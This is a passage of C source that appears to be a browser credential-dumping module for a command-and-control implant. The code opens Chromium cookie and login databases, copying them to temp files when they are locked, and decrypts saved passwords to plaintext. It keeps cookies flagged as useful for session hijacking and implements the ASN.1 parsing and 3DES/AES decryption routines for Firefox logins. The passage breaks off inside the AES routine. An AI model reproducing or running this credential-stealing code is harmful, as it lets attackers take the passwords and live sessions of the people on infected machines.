        INT SqlResult = sqlite3_exec(Database, CookiesSqlQuery, ChromiumCookiesCallback, &ctx, &ErrorMessage);
        if (SqlResult != SQLITE_OK) {
            _err("DumpChromiumBrowser: [%s] SQLite error executing cookies query: %s", browserName, ErrorMessage ? ErrorMessage : "Unknown error");
            if (ErrorMessage) {
                sqlite3_free(ErrorMessage);
            }
        } else {
            _err("DumpChromiumBrowser: [%s] Successfully executed cookies query", browserName);
            // Report artifact once after query completes
            CHAR artifactMsg[512] = {0};
            snprintf(artifactMsg, sizeof(artifactMsg), "Browser Credential Access: %s Cookies database", browserName);
            addArtifact(respuesta, "Credential Access", artifactMsg);
        }
        sqlite3_close_v2(Database);
        _err("DumpChromiumBrowser: [%s] Closed cookies database", browserName);
        
        // Delete temp copy if we used one
        if (UsingTempCopy) {
            DeleteFileA(TempCookiesPath);
            _err("DumpChromiumBrowser: [%s] Deleted temp cookies database copy", browserName);
        }
    } else {
        _err("DumpChromiumBrowser: [%s] Failed to open cookies database: %s, error: %s (SQLite error code: %d)", 
             browserName, UsingTempCopy ? TempCookiesPath : CookiesPathA, sqlite3_errmsg(Database), OpenResult);
        PackageAddFormatPrintf(salida, FALSE, "[browser_dump] Error opening cookies database\n");
        sqlite3_close_v2(Database); // Close even on error
    }

    // Dump Bookmarks
    PackageAddFormatPrintf(salida, FALSE, "\n============================================\n");
    PackageAddFormatPrintf(salida, FALSE, "||               Bookmarks                ||\n");
    PackageAddFormatPrintf(salida, FALSE, "============================================\n\n");

    _err("DumpChromiumBrowser: [%s] Attempting to read bookmarks from: %s", browserName, BookmarksPathA);
    BookmarksJson = (PCHAR)ReadFileContentsW(BookmarksPath, NULL);
    if (BookmarksJson) {
        _err("DumpChromiumBrowser: [%s] Successfully read bookmarks file, size=%lu bytes", browserName, strlen(BookmarksJson));
        ULONG bookmarkCount = 0;
        PCHAR CurrentPos = BookmarksJson;
        
        // Parse bookmarks: look for "name" and "url" pairs
        while ((Name = strstr(CurrentPos, "\"name\"")) != NULL) {
            // Find the value after "name": (skip whitespace and colon)
            Name = strchr(Name, ':');
            if (Name == NULL) break;
            Name++; // Skip ':'
            
            // Skip whitespace
            while (*Name == ' ' || *Name == '\t') Name++;
            
            // Find the opening quote
            if (*Name != '"') {
                CurrentPos = Name + 1;
                continue;
            }
            Name++; // Skip opening quote
            
            // Find the closing quote
            PCHAR NameEnd = strchr(Name, '"');
            if (NameEnd == NULL) break;
            NameSize = (ULONG)(NameEnd - Name);
            
            // Now find the URL
            Url = strstr(NameEnd, "\"url\"");
            if (Url == NULL) {
                CurrentPos = NameEnd + 1;
                continue;
            }
            
            // Find the value after "url": (skip whitespace and colon)
            Url = strchr(Url, ':');
            if (Url == NULL) break;
            Url++; // Skip ':'
            
            // Skip whitespace
            while (*Url == ' ' || *Url == '\t') Url++;
            
            // Find the opening quote
            if (*Url != '"') {
                CurrentPos = NameEnd + 1;
                continue;
            }
            Url++; // Skip opening quote
            
            // Find the closing quote
            PCHAR UrlEnd = strchr(Url, '"');
            if (UrlEnd == NULL) break;
            UrlSize = (ULONG)(UrlEnd - Url);
            
            // Only print if we have both name and URL
            if (NameSize > 0 && UrlSize > 0) {
                PackageAddFormatPrintf(salida, FALSE, "- Name: %.*s\n", NameSize, Name);
                PackageAddFormatPrintf(salida, FALSE, "- URL: %.*s\n\n", UrlSize, Url);
                bookmarkCount++;
                _err("DumpChromiumBrowser: [%s] Found bookmark - Name: %.*s, URL: %.*s", 
                     browserName, NameSize, Name, UrlSize, Url);
            }
            
            // Move to next position
            CurrentPos = UrlEnd + 1;
        }
        _err("DumpChromiumBrowser: [%s] Found %lu bookmarks total", browserName, bookmarkCount);
        HeapFree(GetProcessHeap(), 0, BookmarksJson);
    } else {
        _err("DumpChromiumBrowser: [%s] Failed to read bookmarks file, GetLastError=%lu", browserName, GetLastError());
    }

    // Dump Saved Logins
    PackageAddFormatPrintf(salida, FALSE, "\n============================================\n");
    PackageAddFormatPrintf(salida, FALSE, "||              Saved logins              ||\n");
    PackageAddFormatPrintf(salida, FALSE, "============================================\n\n");

    _err("DumpChromiumBrowser: [%s] Attempting to open logins database: %s", browserName, LoginsPathA);
    
    // Try to open directly first
    INT LoginsOpenResult = sqlite3_open_v2(LoginsPathA, &Database, SQLITE_OPEN_READONLY, NULL);
    CHAR TempLoginsPath[MAX_PATH] = {0};
    BOOLEAN UsingTempCopyLogins = FALSE;
    
    // If direct open fails, try copying to temp location
    if (LoginsOpenResult != SQLITE_OK) {
        _err("DumpChromiumBrowser: [%s] Direct open failed (error %d: %s), attempting to copy to temp...", 
             browserName, LoginsOpenResult, sqlite3_errmsg(Database));
        sqlite3_close_v2(Database); // Close failed connection
        
        if (CopyDatabaseToTemp(LoginsPath, TempLoginsPath, sizeof(TempLoginsPath))) {
            _err("DumpChromiumBrowser: [%s] Successfully copied logins database to temp, opening temp copy...", browserName);
            LoginsOpenResult = sqlite3_open_v2(TempLoginsPath, &Database, SQLITE_OPEN_READONLY, NULL);
            UsingTempCopyLogins = TRUE;
        } else {
            _err("DumpChromiumBrowser: [%s] Failed to copy logins database to temp", browserName);
        }
    }
    
    if (LoginsOpenResult == SQLITE_OK) {
        _err("DumpChromiumBrowser: [%s] Successfully opened logins database (using %s)", 
             browserName, UsingTempCopyLogins ? "temp copy" : "original file");
        CONST CHAR SavedLoginsSqlQuery[] = "SELECT origin_url, username_value, password_value FROM logins";
        _err("DumpChromiumBrowser: [%s] Preparing logins query...", browserName);
        
        // Use prepare_v2 + step to get binary BLOB data correctly (especially for v1)
        sqlite3_stmt* stmt = NULL;
        INT prepareResult = sqlite3_prepare_v2(Database, SavedLoginsSqlQuery, -1, &stmt, NULL);
        if (prepareResult != SQLITE_OK) {
            _err("DumpChromiumBrowser: [%s] Failed to prepare logins query: %s", browserName, sqlite3_errmsg(Database));
        } else {
            _err("DumpChromiumBrowser: [%s] Successfully prepared logins query, executing...", browserName);
            ULONG loginCount = 0;
            
            while ((prepareResult = sqlite3_step(stmt)) == SQLITE_ROW) {
                // Get URL (column 0) - TEXT
                CONST PCHAR url = (CONST PCHAR)sqlite3_column_text(stmt, 0);
                INT urlLen = sqlite3_column_bytes(stmt, 0);
                
                // Get username (column 1) - TEXT
                CONST PCHAR username = (CONST PCHAR)sqlite3_column_text(stmt, 1);
                INT usernameLen = sqlite3_column_bytes(stmt, 1);
                
                // Get password_value (column 2) - BLOB (critical: use column_blob, not column_text!)
                CONST PUCHAR passwordBlob = (CONST PUCHAR)sqlite3_column_blob(stmt, 2);
                INT passwordBlobLen = sqlite3_column_bytes(stmt, 2);
                
                if (passwordBlob != NULL && passwordBlobLen > 0) {
                    _err("DumpChromiumBrowser: [%s] Processing login - URL=%.*s, username=%.*s, encryptedLen=%d", 
                         browserName, urlLen, url ? url : "NULL", usernameLen, username ? username : "NULL", passwordBlobLen);
                    
                    // Log first bytes of the blob to see what we're working with
                    _err("DumpChromiumBrowser: [%s] Password blob first 16 bytes: %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X",
                         browserName,
                         passwordBlob[0], passwordBlob[1], passwordBlob[2], passwordBlob[3],
                         passwordBlob[4], passwordBlob[5], passwordBlob[6], passwordBlob[7],
                         passwordBlob[8], passwordBlob[9], passwordBlob[10], passwordBlob[11],
                         passwordBlob[12], passwordBlob[13], passwordBlob[14], passwordBlob[15]);
                    
                    PCHAR decryptedPassword = NULL;
                    // Copy the blob to a buffer we can modify (DPAPI might need this)
                    PUCHAR passwordData = (PUCHAR)HeapAlloc(GetProcessHeap(), 0, passwordBlobLen);
                    if (passwordData) {
                        RtlCopyMemory(passwordData, passwordBlob, passwordBlobLen);
                        DecryptChromiumSecret(ctx.appBoundKey, SAVED_LOGIN, passwordData, passwordBlobLen, &decryptedPassword);
                        HeapFree(GetProcessHeap(), 0, passwordData);
                        
                        if (decryptedPassword) {
                            _err("ChromiumLoginsCallback: [%s] Successfully decrypted password for %.*s", browserName, urlLen, url ? url : "unknown");
                            PackageAddFormatPrintf(salida, FALSE, "- URL: %.*s\n", urlLen, url ? url : "");
                            PackageAddFormatPrintf(salida, FALSE, "- Username: %.*s\n", usernameLen, username ? username : "");
                            PackageAddFormatPrintf(salida, FALSE, "- Password: %s\n\n", decryptedPassword);
                            
                            // Extract realm from URL
                            PCHAR realm = "";
                            BOOLEAN realmAllocated = FALSE;
                            if (url && urlLen > 0) {
                                PCHAR urlStr = (PCHAR)HeapAlloc(GetProcessHeap(), 0, urlLen + 1);
                                if (urlStr) {
                                    RtlCopyMemory(urlStr, url, urlLen);
                                    urlStr[urlLen] = '\0';
                                    
                                    PCHAR protocol = strstr(urlStr, "://");
                                    if (protocol) {
                                        PCHAR domainStart = protocol + 3;
                                        PCHAR domainEnd = strchr(domainStart, '/');
                                        if (domainEnd) {
                                            SIZE_T domainLen = domainEnd - domainStart;
                                            realm = (PCHAR)HeapAlloc(GetProcessHeap(), 0, domainLen + 1);
                                            if (realm) {
                                                RtlCopyMemory(realm, domainStart, domainLen);
                                                realm[domainLen] = '\0';
                                                realmAllocated = TRUE;
                                            }
                                        }
                                    }
                                    HeapFree(GetProcessHeap(), 0, urlStr);
                                }
                            }
                            
                            // Report password as credential
                            PCHAR usernameStr = NULL;
                            if (username && usernameLen > 0) {
                                usernameStr = (PCHAR)HeapAlloc(GetProcessHeap(), 0, usernameLen + 1);
                                if (usernameStr) {
                                    RtlCopyMemory(usernameStr, username, usernameLen);
                                    usernameStr[usernameLen] = '\0';
                                }
                            }
                            addCredential(respuesta, "plaintext", realm, decryptedPassword, usernameStr ? usernameStr : "");
                            
                            if (realmAllocated && realm) {
                                HeapFree(GetProcessHeap(), 0, realm);
                            }
                            if (usernameStr) {
                                HeapFree(GetProcessHeap(), 0, usernameStr);
                            }
                            HeapFree(GetProcessHeap(), 0, decryptedPassword);
                            loginCount++;
                        }
                    }
                }
            }
            
            if (prepareResult != SQLITE_DONE) {
                _err("DumpChromiumBrowser: [%s] SQLite error during logins query execution: %s (code=%d)", 
                     browserName, sqlite3_errmsg(Database), prepareResult);
            } else {
                _err("DumpChromiumBrowser: [%s] Successfully executed logins query, found %lu logins", browserName, loginCount);
                // Report artifact once after query completes
                CHAR artifactMsg[512] = {0};
                snprintf(artifactMsg, sizeof(artifactMsg), "Browser Credential Access: %s Login Data database", browserName);
                addArtifact(respuesta, "Credential Access", artifactMsg);
            }
            
            sqlite3_finalize(stmt);
        }
        sqlite3_close_v2(Database);
        _err("DumpChromiumBrowser: [%s] Closed logins database", browserName);
        
        // Delete temp copy if we used one
        if (UsingTempCopyLogins) {
            DeleteFileA(TempLoginsPath);
            _err("DumpChromiumBrowser: [%s] Deleted temp logins database copy", browserName);
        }
    } else {
        _err("DumpChromiumBrowser: [%s] Failed to open logins database: %s, error: %s (SQLite error code: %d)", 
             browserName, UsingTempCopyLogins ? TempLoginsPath : LoginsPathA, sqlite3_errmsg(Database), LoginsOpenResult);
        PackageAddFormatPrintf(salida, FALSE, "[browser_dump] Error opening logins database\n");
        sqlite3_close_v2(Database); // Close even on error
    }
    
    _err("DumpChromiumBrowser: [%s] Completed dump", browserName);
}

/**
 * @brief Check if a cookie name suggests it's a tracking cookie
 */
static BOOLEAN IsTrackingCookie(PCHAR cookieName) {
    if (cookieName == NULL) return TRUE;
    
    // Common tracking cookie patterns
    CONST PCHAR trackingPatterns[] = {
        "__utma", "__utmb", "__utmc", "__utmz", "__utmv", "__utm",
        "_ga", "_gid", "_gat", "_gac",
        "_fbp", "_fbc",
        "IDE", "NID", "SID", "HSID", "SSID", "APISID", "SAPISID",
        "__gads", "__gpi",
        "fr", "datr",
        "sb", "c_user", "xs",
        "personalization_id", "muc_ads",
        NULL
    };
    
    for (INT i = 0; trackingPatterns[i] != NULL; i++) {
        if (strstr(cookieName, trackingPatterns[i]) != NULL) {
            return TRUE;
        }
    }
    
    return FALSE;
}

/**
 * @brief Check if a cookie name suggests it's useful for authentication
 */
static BOOLEAN IsAuthCookie(PCHAR cookieName) {
    if (cookieName == NULL) return FALSE;
    
    // Convert to lowercase for comparison
    CHAR nameLower[256] = {0};
    SIZE_T len = strlen(cookieName);
    if (len >= sizeof(nameLower)) len = sizeof(nameLower) - 1;
    for (SIZE_T i = 0; i < len; i++) {
        nameLower[i] = (cookieName[i] >= 'A' && cookieName[i] <= 'Z') ? 
                       (cookieName[i] + 32) : cookieName[i];
    }
    
    // Common authentication cookie patterns
    CONST PCHAR authPatterns[] = {
        "session", "sess", "sessid", "sessionid",
        "auth", "authenticate", "authentication",
        "token", "access_token", "refresh_token", "id_token",
        "login", "logged", "loggedin",
        "user", "userid", "username",
        "csrf", "csrftoken",
        "jwt", "bearer",
        "sid", "jsessionid", "phpsessid", "asp.net_sessionid",
        "remember", "rememberme",
        "identity", "credential",
        NULL
    };
    
    for (INT i = 0; authPatterns[i] != NULL; i++) {
        if (strstr(nameLower, authPatterns[i]) != NULL) {
            return TRUE;
        }
    }
    
    return FALSE;
}

/**
 * @brief SQL callback for Firefox cookies
 * Filters to show only cookies useful for authentication/session hijacking
 */
static INT FirefoxCookiesCallback(PVOID Context, INT Argc, PCHAR* Argv, PCHAR* ColumnName) {
    DumpContext* ctx = (DumpContext*)Context;

    // Argv[0]=host, Argv[1]=path, Argv[2]=isSecure, Argv[3]=name, Argv[4]=expiry, 
    // Argv[5]=value, Argv[6]=expiry_raw, Argv[7]=isHttpOnly
    if (Argc >= 8 && Argv[3] && Argv[5]) {
        // Print profile header and cookies header only on first cookie
        if (!ctx->cookiesHeaderPrinted) {
            // Print profile header first if not printed yet
            if (!ctx->profileHeaderPrinted && ctx->profileName[0] != '\0') {
                PackageAddFormatPrintf(ctx->salida, FALSE, "\n============================================\n");
                PackageAddFormatPrintf(ctx->salida, FALSE, "||            Profile: %-20s ||\n", ctx->profileName);
                PackageAddFormatPrintf(ctx->salida, FALSE, "============================================\n");
                ctx->profileHeaderPrinted = TRUE;
            }
            // Print cookies header
            PackageAddFormatPrintf(ctx->salida, FALSE, "\n============================================\n");
            PackageAddFormatPrintf(ctx->salida, FALSE, "||               Cookies                  ||\n");
            PackageAddFormatPrintf(ctx->salida, FALSE, "============================================\n\n");
            ctx->cookiesHeaderPrinted = TRUE;
        }
        ctx->cookieCount++; // Increment cookie counter
        // Skip tracking cookies
        if (IsTrackingCookie(Argv[3])) {
            return 0;
        }
        
        // Check if it's a session cookie (expiry = 0 or very recent)
        INT64 expiry_raw = 0;
        BOOLEAN isSessionCookie = FALSE;
        if (Argv[6]) {
            expiry_raw = _strtoi64(Argv[6], NULL, 10);
            // Session cookie: expiry = 0 or within next 24 hours (useful for hijacking)
            if (expiry_raw == 0) {
                isSessionCookie = TRUE;
            } else {
                // Check if expiry is within next 24 hours (86400 seconds)
                INT64 currentTime = (INT64)time(NULL) * 1000; // Convert to milliseconds
                if (expiry_raw > currentTime && (expiry_raw - currentTime) < (86400 * 1000)) {
                    isSessionCookie = TRUE;
                }
            }
        }
        
        // Include if:
        // 1. It's a session cookie (expiry = 0 or very recent), OR
        // 2. It has an authentication-related name
        BOOLEAN isAuthRelated = IsAuthCookie(Argv[3]);
        
        if (!isSessionCookie && !isAuthRelated) {
            return 0; // Skip this cookie - not useful for authentication
        }
        
        PackageAddFormatPrintf(ctx->salida, FALSE, "- Host: %s\n", Argv[0] ? Argv[0] : "");
        PackageAddFormatPrintf(ctx->salida, FALSE, "- Path: %s\n", Argv[1] ? Argv[1] : "");
        PackageAddFormatPrintf(ctx->salida, FALSE, "- Name: %s\n", Argv[3] ? Argv[3] : "");
        if (Argv[4]) {
            PackageAddFormatPrintf(ctx->salida, FALSE, "- Expires: %s\n", Argv[4]);
        }
        PackageAddFormatPrintf(ctx->salida, FALSE, "- Value: %s\n", Argv[5] ? Argv[5] : "");
        if (Argv[2] && atoi(Argv[2]) == 1) {
            PackageAddFormatPrintf(ctx->salida, FALSE, "- Secure: Yes\n");
        }
        if (Argv[7] && atoi(Argv[7]) == 1) {
            PackageAddFormatPrintf(ctx->salida, FALSE, "- HttpOnly: Yes\n");
        }
        PackageAddFormatPrintf(ctx->salida, FALSE, "\n");

        // NOTE: Cookies are NOT saved as credentials - only saved logins (passwords) are saved as credentials
        // This is intentional: cookies are shown in output but not stored in credential store
        // Cookies are displayed for manual use but not automatically stored in Mythic's credential store
    }
    return 0;
}

/**
 * @brief SQL callback for Firefox bookmarks
 */
static INT FirefoxBookmarksCallback(PVOID Context, INT Argc, PCHAR* Argv, PCHAR* ColumnName) {
    DumpContext* ctx = (DumpContext*)Context;

    if (Argc >= 2) {
        // Print profile header and bookmarks header only on first bookmark
        if (!ctx->bookmarksHeaderPrinted) {
            // Print profile header first if not printed yet
            if (!ctx->profileHeaderPrinted && ctx->profileName[0] != '\0') {
                PackageAddFormatPrintf(ctx->salida, FALSE, "\n============================================\n");
                PackageAddFormatPrintf(ctx->salida, FALSE, "||            Profile: %-20s ||\n", ctx->profileName);
                PackageAddFormatPrintf(ctx->salida, FALSE, "============================================\n");
                ctx->profileHeaderPrinted = TRUE;
            }
            // Print bookmarks header
            PackageAddFormatPrintf(ctx->salida, FALSE, "\n============================================\n");
            PackageAddFormatPrintf(ctx->salida, FALSE, "||               Bookmarks                ||\n");
            PackageAddFormatPrintf(ctx->salida, FALSE, "============================================\n\n");
            ctx->bookmarksHeaderPrinted = TRUE;
        }
        ctx->bookmarkCount++; // Increment bookmark counter
        PackageAddFormatPrintf(ctx->salida, FALSE, "- title : %s\n", Argv[0] ? Argv[0] : "");
        PackageAddFormatPrintf(ctx->salida, FALSE, "- url : %s\n\n", Argv[1] ? Argv[1] : "");
    }
    return 0;
}

// ============================================
// Firefox Login Decryption Functions
// ============================================

#define INTEGER_TAG           0x02
#define SEQUENCE_TAG          0x30
#define OCTET_STRING_TAG      0x04
#define OBJECT_IDENTIFIER_TAG 0x06

/**
 * @brief Parse ASN1 length field
 */
static ULONG ParseAsn1Length(PUCHAR* Buffer) {
    PUCHAR Current = *Buffer;
    ULONG Length = 0;

    if ((Current[0] & 0x80) == 0) {
        Length = Current[0];
        Current++;
    } else {
        ULONG NumberOfBytes = *Current & 0x7F;
        Current++;
        for (UCHAR Index = 0; Index < NumberOfBytes; Index++) {
            Length = (Length << 8) | *Current;
            Current++;
        }
    }
    *Buffer = Current;
    return Length;
}

/**
 * @brief Parse ASN1 type
 */
static BOOLEAN ParseAsn1Type(PUCHAR* Buffer, UCHAR Type, BOOLEAN SkipTheData, PULONG DataSize) {
    UCHAR Tag = **Buffer;
    if (Tag != Type) {
        return FALSE;
    }
    (*Buffer)++;
    ULONG Length = ParseAsn1Length(Buffer);
    if (Length == 0) {
        return FALSE;
    }
    if (SkipTheData == TRUE) {
        *Buffer += Length;
    }
    if (DataSize != NULL) {
        *DataSize = Length;
    }
    return TRUE;
}

/**
 * @brief Extract IV and ciphertext from ASN1 encoded login data
 * Note: Firefox uses 3DES (DES-EDE3-CBC) with 8-byte IV for logins
 */
static VOID ExtractAsn1LoginData(PUCHAR Buffer, PUCHAR* Ciphertext, PULONG CiphertextSize, PUCHAR* Iv) {
    ULONG Size;
    BOOLEAN Result;
    PUCHAR OriginalBuffer = Buffer;

    // Initialize output pointers
    *Ciphertext = NULL;
    *CiphertextSize = 0;
    *Iv = NULL;

    _inf("ExtractAsn1LoginData: Starting, Buffer=%p", Buffer);

    // Parse outer SEQUENCE
    Result = ParseAsn1Type(&Buffer, SEQUENCE_TAG, FALSE, NULL);
    if (Result == FALSE) {
        _err("ExtractAsn1LoginData: Failed to parse outer SEQUENCE, tag=0x%02X", Buffer ? *OriginalBuffer : 0);
        return;
    }
    _inf("ExtractAsn1LoginData: Parsed outer SEQUENCE");

    // Skip the "f8000000000000000000000000000001" header OCTETSTRING
    Result = ParseAsn1Type(&Buffer, OCTET_STRING_TAG, TRUE, NULL);
    if (Result == FALSE) {
        _err("ExtractAsn1LoginData: Failed to parse header OCTET_STRING, tag=0x%02X", Buffer ? *Buffer : 0);
        return;
    }
    _inf("ExtractAsn1LoginData: Skipped header OCTET_STRING");

    // Parse inner SEQUENCE
    Result = ParseAsn1Type(&Buffer, SEQUENCE_TAG, FALSE, NULL);
    if (Result == FALSE) {
        _err("ExtractAsn1LoginData: Failed to parse inner SEQUENCE, tag=0x%02X", Buffer ? *Buffer : 0);
        return;
    }
    _inf("ExtractAsn1LoginData: Parsed inner SEQUENCE");

    // Skip OBJECT_IDENTIFIER (may say "des-ede3-cbc" but reference code uses AES-256)
    Result = ParseAsn1Type(&Buffer, OBJECT_IDENTIFIER_TAG, TRUE, NULL);
    if (Result == FALSE) {
        _err("ExtractAsn1LoginData: Failed to parse OBJECT_IDENTIFIER, tag=0x%02X", Buffer ? *Buffer : 0);
        return;
    }
    _inf("ExtractAsn1LoginData: Skipped OBJECT_IDENTIFIER (reference code uses AES-256 despite OID)");

    // Get the IV (should be 16 bytes for AES-256)
    Result = ParseAsn1Type(&Buffer, OCTET_STRING_TAG, FALSE, &Size);
    if (Result == FALSE) {
        _err("ExtractAsn1LoginData: Failed to parse IV OCTET_STRING, tag=0x%02X", Buffer ? *Buffer : 0);
        return;
    }
    _inf("ExtractAsn1LoginData: IV OCTET_STRING size=%lu (expected 16 for AES-256)", Size);
    
    // Check IV size - must be 16 bytes for AES-256 (as per reference code)
    if (Size != 16) {
        _err("ExtractAsn1LoginData: IV size is %lu, expected 16", Size);
        return;
    }

    *Iv = Buffer;
    Buffer += Size;
    _inf("ExtractAsn1LoginData: Extracted IV at %p", *Iv);

    // Get the encrypted data
    Result = ParseAsn1Type(&Buffer, OCTET_STRING_TAG, FALSE, CiphertextSize);
    if (Result == FALSE) {
        _err("ExtractAsn1LoginData: Failed to parse ciphertext OCTET_STRING, tag=0x%02X", Buffer ? *Buffer : 0);
        return;
    }
    _inf("ExtractAsn1LoginData: Ciphertext size=%lu", *CiphertextSize);

    *Ciphertext = Buffer;
    _inf("ExtractAsn1LoginData: Successfully extracted IV and ciphertext");
}

/**
 * @brief SHA1 hash function
 */
static BOOLEAN Sha1Hash(PSTR MasterPassword, PUCHAR Buffer, ULONG BufferSize, PUCHAR HashValue) {
    HCRYPTPROV ProviderHandle;
    HCRYPTHASH HashHandle;
    ULONG HashSize = 20;
    BOOLEAN Result;

    _inf("Sha1Hash: Starting, MasterPassword=%p, Buffer=%p, BufferSize=%lu", MasterPassword, Buffer, BufferSize);

    if (Buffer == NULL || BufferSize == 0) {
        _err("Sha1Hash: Invalid parameters - Buffer=%p, BufferSize=%lu", Buffer, BufferSize);
        return FALSE;
    }

    if (HashValue == NULL) {
        _err("Sha1Hash: HashValue is NULL");
        return FALSE;
    }

    Result = CryptAcquireContextW(&ProviderHandle, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
    if (Result == FALSE) {
        _err("Sha1Hash: CryptAcquireContextW failed, GetLastError=%lu", GetLastError());
        return FALSE;
    }
    _inf("Sha1Hash: CryptAcquireContextW succeeded");

    Result = CryptCreateHash(ProviderHandle, CALG_SHA1, 0, 0, &HashHandle);
    if (Result == FALSE) {
        _err("Sha1Hash: CryptCreateHash failed, GetLastError=%lu", GetLastError());
        CryptReleaseContext(ProviderHandle, 0);
        return FALSE;
    }
    _inf("Sha1Hash: CryptCreateHash succeeded");

    Result = CryptHashData(HashHandle, Buffer, BufferSize, 0);
    if (Result == FALSE) {
        _err("Sha1Hash: CryptHashData (Buffer) failed, GetLastError=%lu", GetLastError());
        CryptDestroyHash(HashHandle);
        CryptReleaseContext(ProviderHandle, 0);
        return FALSE;
    }
    _inf("Sha1Hash: CryptHashData (Buffer) succeeded");

    if (MasterPassword != NULL) {
        ULONG MasterPasswordLen = (ULONG)strlen(MasterPassword);
        _inf("Sha1Hash: Hashing master password, length=%lu", MasterPasswordLen);
        Result = CryptHashData(HashHandle, (PUCHAR)MasterPassword, MasterPasswordLen, 0);
        if (Result == FALSE) {
            _err("Sha1Hash: CryptHashData (MasterPassword) failed, GetLastError=%lu", GetLastError());
            CryptDestroyHash(HashHandle);
            CryptReleaseContext(ProviderHandle, 0);
            return FALSE;
        }
        _inf("Sha1Hash: CryptHashData (MasterPassword) succeeded");
    } else {
        _inf("Sha1Hash: No master password provided");
    }

    Result = CryptGetHashParam(HashHandle, HP_HASHVAL, HashValue, &HashSize, 0);
    if (Result == FALSE) {
        _err("Sha1Hash: CryptGetHashParam failed, GetLastError=%lu", GetLastError());
        CryptDestroyHash(HashHandle);
        CryptReleaseContext(ProviderHandle, 0);
        return FALSE;
    }
    _inf("Sha1Hash: CryptGetHashParam succeeded, HashSize=%lu", HashSize);

    CryptDestroyHash(HashHandle);
    CryptReleaseContext(ProviderHandle, 0);
    return Result;
}

/**
 * @brief Derive key using PBKDF2
 */
static BOOLEAN DeriveKeyPbkdf2(PUCHAR Password, ULONG PasswordSize, PUCHAR Salt, ULONG SaltSize, ULONG IterationCount, PUCHAR DerivedKey) {
    BCRYPT_ALG_HANDLE AlgorithmHandle;
    NTSTATUS Status;

    Status = BCryptOpenAlgorithmProvider(&AlgorithmHandle, BCRYPT_SHA256_ALGORITHM, NULL, BCRYPT_ALG_HANDLE_HMAC_FLAG);
    if (!BCRYPT_SUCCESS(Status)) {
        return FALSE;
    }

    Status = BCryptDeriveKeyPBKDF2(AlgorithmHandle, Password, PasswordSize, Salt, SaltSize, IterationCount, DerivedKey, 32, 0);
    BCryptCloseAlgorithmProvider(AlgorithmHandle, 0);
    return BCRYPT_SUCCESS(Status);
}

/**
 * @brief 3DES-CBC decryption for Firefox logins (uses 24-byte key and 8-byte IV)
 */
static BOOLEAN TripleDesCbcDecrypt(PUCHAR Key, PUCHAR Iv, PUCHAR Ciphertext, PULONG CiphertextLength) {
    HCRYPTPROV Provider;
    BOOL Result = CryptAcquireContextA(&Provider, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
    if (Result == FALSE) {
        _err("TripleDesCbcDecrypt: Failed to acquire crypto context, GetLastError=%lu", GetLastError());
        return FALSE;
    }

    HCRYPTKEY KeyHandle = 0;
    UCHAR Buffer[sizeof(BLOBHEADER) + sizeof(ULONG) + 24];
    BLOBHEADER* KeyBlob = (BLOBHEADER*)Buffer;

    // 3DES uses 24-byte key (3 keys of 8 bytes each)
    KeyBlob->bType = PLAINTEXTKEYBLOB;
    KeyBlob->bVersion = CUR_BLOB_VERSION;
    KeyBlob->reserved = 0;
    KeyBlob->aiKeyAlg = CALG_3DES; // Use 3DES, not AES

    *(PULONG)(Buffer + sizeof(BLOBHEADER)) = 24;
    RtlCopyMemory(Buffer + sizeof(BLOBHEADER) + sizeof(ULONG), Key, 24);

    Result = CryptImportKey(Provider, Buffer, sizeof(Buffer), 0, 0, &KeyHandle);
    if (Result == FALSE) {
        _err("TripleDesCbcDecrypt: Failed to import 3DES key, GetLastError=%lu", GetLastError());
        CryptReleaseContext(Provider, 0);
        return FALSE;
    }

    ULONG Mode = CRYPT_MODE_CBC;
    Result = CryptSetKeyParam(KeyHandle, KP_MODE, (PUCHAR)&Mode, 0);
    if (Result == FALSE) {
        _err("TripleDesCbcDecrypt: Failed to set CBC mode, GetLastError=%lu", GetLastError());
        CryptDestroyKey(KeyHandle);
        CryptReleaseContext(Provider, 0);
        return FALSE;
    }

    Result = CryptSetKeyParam(KeyHandle, KP_IV, Iv, 0);
    if (Result == FALSE) {
        _err("TripleDesCbcDecrypt: Failed to set IV, GetLastError=%lu", GetLastError());
        CryptDestroyKey(KeyHandle);
        CryptReleaseContext(Provider, 0);
        return FALSE;
    }

    Result = CryptDecrypt(KeyHandle, 0, TRUE, 0, Ciphertext, CiphertextLength);
    if (Result == FALSE) {
        _err("TripleDesCbcDecrypt: Failed to decrypt, GetLastError=%lu", GetLastError());
    }

    if (KeyHandle != 0) {
        CryptDestroyKey(KeyHandle);
    }
    CryptReleaseContext(Provider, 0);
    return Result;
}

/**
 * @brief AES-256-CBC decryption for master key (uses 32-byte key and 16-byte IV)
 */
static BOOLEAN Aes256CbcDecrypt(PUCHAR Key, PUCHAR Iv, PUCHAR Ciphertext, PULONG CiphertextLength) {
    HCRYPTPROV Provider;
    BOOL Result = CryptAcquireContextA(&Provider, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
    if (Result == FALSE) {
        _err("Aes256CbcDecrypt: Failed to acquire crypto context, GetLastError=%lu", GetLastError());
        return FALSE;
    }

    HCRYPTKEY KeyHandle = 0;
    UCHAR Buffer[sizeof(BLOBHEADER) + sizeof(ULONG) + 32];
    BLOBHEADER* KeyBlob = (BLOBHEADER*)Buffer;

    // AES-256 uses 32-byte key
    KeyBlob->bType = PLAINTEXTKEYBLOB;
    KeyBlob->bVersion = CUR_BLOB_VERSION;
    KeyBlob->reserved = 0;
    KeyBlob->aiKeyAlg = CALG_AES_256;

    *(PULONG)(Buffer + sizeof(BLOBHEADER)) = 32;
    RtlCopyMemory(Buffer + sizeof(BLOBHEADER) + sizeof(ULONG), Key, 32);

    _inf("Aes256CbcDecrypt: Key blob size=%lu, Key size=32", sizeof(Buffer));
    _inf("Aes256CbcDecrypt: Key[0-15]=%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
         Key[0], Key[1], Key[2], Key[3], Key[4], Key[5], Key[6], Key[7],
         Key[8], Key[9], Key[10], Key[11], Key[12], Key[13], Key[14], Key[15]);
    _inf("Aes256CbcDecrypt: Key[16-31]=%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
         Key[16], Key[17], Key[18], Key[19], Key[20], Key[21], Key[22], Key[23],
         Key[24], Key[25], Key[26], Key[27], Key[28], Key[29], Key[30], Key[31]);
